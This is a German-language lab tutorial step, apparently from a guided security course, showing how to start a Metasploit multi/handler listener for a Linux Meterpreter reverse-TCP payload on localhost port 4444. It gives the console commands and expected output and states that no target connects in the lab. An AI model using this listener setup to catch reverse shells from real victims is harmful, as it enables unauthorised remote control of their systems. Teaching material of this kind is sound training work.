Einrichten eines Meterpreter-Listeners
In diesem letzten Schritt lernen Sie, wie Sie einen Listener für eine Meterpreter-Payload einrichten. Meterpreter ist eine fortschrittliche, funktionsreiche Payload, die eine interaktive Shell auf dem Zielsystem bereitstellt. Anstatt einen Exploit zu starten, verwenden Sie das Modul exploit/multi/handler, um auf eingehende Verbindungen zu warten. Dies ist nützlich, wenn ein Exploit auf anderem Wege (z. B. über eine schädliche Datei) übermittelt wird und Sie die Reverse-Verbindung abfangen müssen.
Wechseln Sie zunächst zum Modul multi/handler.
use exploit/multi/handler
Ihre Eingabeaufforderung ändert sich, um das neue Modul widerzuspiegeln.
msf6 exploit(multi/handler) >
Legen Sie als Nächstes eine Meterpreter-Payload fest. Wir verwenden eine, die für Linux-Systeme entwickelt wurde. Der Payload-Name linux/x86/meterpreter/reverse_tcp folgt einer logischen Struktur: <Plattform>/<Architektur>/<Typ>/<Protokoll>. Er spezifiziert eine Linux-Plattform, x86-Architektur, einen Meterpreter-Payload-Typ und ein Reverse-TCP-Verbindungsprotokoll.
set payload linux/x86/meterpreter/reverse_tcp
Konfigurieren Sie nun die Listener-Optionen LHOST und LPORT, genau wie Sie es zuvor getan haben.
set LHOST 127.0.0.1
Hinweis: Möglicherweise sehen Sie eine Warnmeldung bezüglich der Bindung an eine Loopback-Adresse. Dies ist normal, wenn localhost (127.0.0.1) verwendet wird, und kann für dieses Lab ignoriert werden.
set LPORT 4444
Starten Sie schließlich den Listener mit dem Befehl exploit.
exploit
Metasploit startet einen Listener auf der angegebenen IP und dem Port und wartet darauf, dass eine Meterpreter-Sitzung eine Verbindung herstellt.
[*] Started reverse TCP handler on 127.0.0.1:4444
Die Konsole bleibt aktiv und wartet auf eine Verbindung. In einem realen Szenario, wenn eine Zielmaschine die entsprechende Meterpreter-Payload ausführen würde, würde hier eine Sitzung aufgebaut werden. Da in diesem Lab kein Ziel eine Verbindung herstellen wird, können Sie den Listener durch Drücken von Ctrl + C stoppen.
Um die Metasploit-Konsole zu verlassen, geben Sie exit ein und drücken Sie Enter.